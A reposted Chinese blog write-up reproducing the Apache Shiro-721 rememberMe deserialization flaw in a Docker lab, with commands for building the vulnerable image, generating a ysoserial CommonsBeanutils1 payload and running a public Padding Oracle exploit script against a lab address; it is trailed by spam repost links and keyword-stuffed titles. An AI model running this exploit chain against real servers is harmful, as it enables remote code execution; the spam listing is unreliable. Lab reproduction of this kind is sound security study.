当前位置： 首页 > news >正文 建设静态网站工具网站建设招标合同要求 news 2025/11/2 20:41:03 建设静态网站工具,网站建设招标合同要求,做软件下载网站怎么赚钱,产品外观设计用什么软件漏洞原理 Shiro rememberMe 反序列化远程代码执行漏洞 由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题#xff0c;用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段#xff0c;并重新请求网站#xff0c;进…漏洞原理 Shiro rememberMe 反序列化远程代码执行漏洞 由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段并重新请求网站进行反序列化攻击最终导致任意代码执行 rememberMe cookie 通过 AES-128-CBC 模式加密易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀然后精⼼制作 rememberMe 来进⾏反序列化攻击。 Tip在1.2.4版本后shiro已经更换 AES-CBC 为 AES-GCM 无法再通过 Padding Oracle 遍历 key 。 影响版本 Apache Shiro 1.4.1需要一个合法的登录账号基于Padding Oracle attack来实现的攻击 通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。下面会有单独的篇幅讲Padding Oracle Attack。 shiro-721对cookie中rememberMe的值的解析过程 特征判断 由于漏洞利用需要一个合法的登录账号这里利用账号正常登陆获取一个有效的rememberMe cookie 并记录下这个rememberMe的值 docker环境搭建 方法一 git clone https://github.com/inspiringz/Shiro-721.git cd Shiro-721/Docker docker build -t shiro-721 . docker run -p 8080:8080 -d shiro-721方法二 docker pull vulfocus/shiro-721docker run -d -p 8080:8080 vulfocus/shiro-721漏洞复现 先使用合法账户登陆记得勾选remember Me然后使用burp抓包获取cookie 获取到cookie 将其中的remember Me字段复制下来输入到工具中进行利用 使用ysoserial工具生成payload java -jar ysoserial.jar CommonsBeanutils1 touch /tmp/123 payload.class #touch /tmp/123 在tmp目录写入123使用工具生成payload 脚本链接:https://github.com/wuppp/shiro_rce_exp python shiro_exp.py http://192.168.88.130:8080 [rememberMeCookie] payload.class python shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NNTLY0Bgfrz3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fKUJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpViUwNJoOjNfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV7ds/dWrb5XlgP9/7ajmi26dqr2apVaIhEMC5SP4X4YQZw3wS6w76pD1vT8JSlG6lh4tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf114qo4152aNNcXul4zN3czLlveotlqd5E/WyhhbBA2EFkPewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class此 exp 爆破时间较长建议使用 ysoserial 生成较短的 payload 验证eg: ping 、 touch /tmp/success, etc约 1 个多小时可生成正确的 rememberme cookie生成成功后将自动停止运行。 最终会生成恶意的rememberMe cookie我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看会发现/tmp目录下被创建了一个123文件。 漏洞利用成功 文章转载自： http://www.morning.taipinghl.cn.gov.cn.taipinghl.cn http://www.morning.cpwmj.cn.gov.cn.cpwmj.cn http://www.morning.zrqs.cn.gov.cn.zrqs.cn http://www.morning.wfbs.cn.gov.cn.wfbs.cn http://www.morning.rbmnq.cn.gov.cn.rbmnq.cn http://www.morning.c7498.cn.gov.cn.c7498.cn http://www.morning.zdtfr.cn.gov.cn.zdtfr.cn http://www.morning.kwyq.cn.gov.cn.kwyq.cn http://www.morning.tjpmf.cn.gov.cn.tjpmf.cn http://www.morning.mmxt.cn.gov.cn.mmxt.cn http://www.morning.rlwcs.cn.gov.cn.rlwcs.cn http://www.morning.brlcj.cn.gov.cn.brlcj.cn http://www.morning.pqktp.cn.gov.cn.pqktp.cn http://www.morning.lbzgt.cn.gov.cn.lbzgt.cn http://www.morning.rkxqh.cn.gov.cn.rkxqh.cn http://www.morning.ljhnn.cn.gov.cn.ljhnn.cn http://www.morning.hksxq.cn.gov.cn.hksxq.cn http://www.morning.wfzdh.cn.gov.cn.wfzdh.cn http://www.morning.blxlf.cn.gov.cn.blxlf.cn http://www.morning.bpncd.cn.gov.cn.bpncd.cn http://www.morning.nlygm.cn.gov.cn.nlygm.cn http://www.morning.xfmzk.cn.gov.cn.xfmzk.cn http://www.morning.hnhkz.cn.gov.cn.hnhkz.cn http://www.morning.rlqml.cn.gov.cn.rlqml.cn http://www.morning.mflhr.cn.gov.cn.mflhr.cn http://www.morning.qzglh.cn.gov.cn.qzglh.cn http://www.morning.rpfpx.cn.gov.cn.rpfpx.cn http://www.morning.thmlt.cn.gov.cn.thmlt.cn http://www.morning.qxljc.cn.gov.cn.qxljc.cn http://www.morning.mpflb.cn.gov.cn.mpflb.cn http://www.morning.ppqzb.cn.gov.cn.ppqzb.cn http://www.morning.drcnf.cn.gov.cn.drcnf.cn http://www.morning.frpm.cn.gov.cn.frpm.cn http://www.morning.krnzm.cn.gov.cn.krnzm.cn http://www.morning.rdfq.cn.gov.cn.rdfq.cn http://www.morning.gynlc.cn.gov.cn.gynlc.cn http://www.morning.cwgfq.cn.gov.cn.cwgfq.cn http://www.morning.srgnd.cn.gov.cn.srgnd.cn http://www.morning.xgzwj.cn.gov.cn.xgzwj.cn http://www.morning.hrhwn.cn.gov.cn.hrhwn.cn http://www.morning.dmtbs.cn.gov.cn.dmtbs.cn http://www.morning.tkkjl.cn.gov.cn.tkkjl.cn http://www.morning.xsctd.cn.gov.cn.xsctd.cn http://www.morning.cpmwg.cn.gov.cn.cpmwg.cn http://www.morning.cwlxs.cn.gov.cn.cwlxs.cn http://www.morning.hqsnt.cn.gov.cn.hqsnt.cn http://www.morning.sypby.cn.gov.cn.sypby.cn http://www.morning.crhd.cn.gov.cn.crhd.cn http://www.morning.xhkgl.cn.gov.cn.xhkgl.cn http://www.morning.pkggl.cn.gov.cn.pkggl.cn http://www.morning.reababy.com.gov.cn.reababy.com http://www.morning.fhqdb.cn.gov.cn.fhqdb.cn http://www.morning.jwpcj.cn.gov.cn.jwpcj.cn http://www.morning.nfpgc.cn.gov.cn.nfpgc.cn http://www.morning.kqcqr.cn.gov.cn.kqcqr.cn http://www.morning.xswrb.cn.gov.cn.xswrb.cn http://www.morning.bsqbg.cn.gov.cn.bsqbg.cn http://www.morning.cjwkf.cn.gov.cn.cjwkf.cn http://www.morning.jfsbs.cn.gov.cn.jfsbs.cn http://www.morning.bctr.cn.gov.cn.bctr.cn http://www.morning.qnbsx.cn.gov.cn.qnbsx.cn http://www.morning.rbnnq.cn.gov.cn.rbnnq.cn http://www.morning.rnnwd.cn.gov.cn.rnnwd.cn http://www.morning.nlhcb.cn.gov.cn.nlhcb.cn http://www.morning.qwlml.cn.gov.cn.qwlml.cn http://www.morning.qhrdx.cn.gov.cn.qhrdx.cn http://www.morning.pmdlk.cn.gov.cn.pmdlk.cn http://www.morning.bmqls.cn.gov.cn.bmqls.cn http://www.morning.tgtwy.cn.gov.cn.tgtwy.cn http://www.morning.gqjzp.cn.gov.cn.gqjzp.cn http://www.morning.rqhdt.cn.gov.cn.rqhdt.cn http://www.morning.ndcjq.cn.gov.cn.ndcjq.cn http://www.morning.bbmx.cn.gov.cn.bbmx.cn http://www.morning.flfxb.cn.gov.cn.flfxb.cn http://www.morning.hhboyus.cn.gov.cn.hhboyus.cn http://www.morning.rknjx.cn.gov.cn.rknjx.cn http://www.morning.bykqg.cn.gov.cn.bykqg.cn http://www.morning.chzbq.cn.gov.cn.chzbq.cn http://www.morning.tpdg.cn.gov.cn.tpdg.cn http://www.morning.yhpq.cn.gov.cn.yhpq.cn 查看全文 http://www.tj-hxxt.cn/news/271844.html 相关文章： 安阳哪有做网站的北京西站在几环 建设工程敎育那个网站移动插件WordPress 二手物品交易网站开发意义长春网络哪家好 一张图片做单页网站网站开发怎么收客户费 网站开发费用怎么账务处理网站建设多少钱专业 大石桥网站建设公司网站源码整站下载 网站建设 软件有哪些wordpress 插件 顶部 做心悦腾龙光环的网站oa系统软件 网上哪些网站可以做设计项目汇邦团建网站谁做的 建设银行手机银行银行下载官方网站wordpress中文用户名称 网站快速收录付费入口wordpress自带高亮 免费制作企业网站重庆网站建设帝维科技 雅安市网站建设三亚市城乡建设局网站 海豚一键做淘宝网站最近发生的重大新闻事件 网罗设计网站扬州建设网站公司 用户等待网站速度网站建设的利益分析 做门窗安装用哪些网站找生意株洲seo优化官网 怎么查网站备案域名备案php网站开发专业背景 做微商卖产品在哪个网站销量能好点唐山展望网站建设 建站平台上建设的网站可以融资吗wordpress官方主题 小说网站开发教程wordpress 显示所有分类 做ui设计用什么素材网站外包网站开发安全吗 网站建设需要考啥证设计 网站 现状 周口高端网站建设建设网站的五个步骤是 上海市交通建设工程安全质量监督站网站网站图片是用什么软件做的 国内做免费视频网站国外搜索网站排名 网站规划与建设课程网站建设一般步骤是什么 咋么做网站app软件开发专业公司 中国建设银行网站类型网页设计与制作就业前景 导购类网站建设多少钱成都六度网站建设
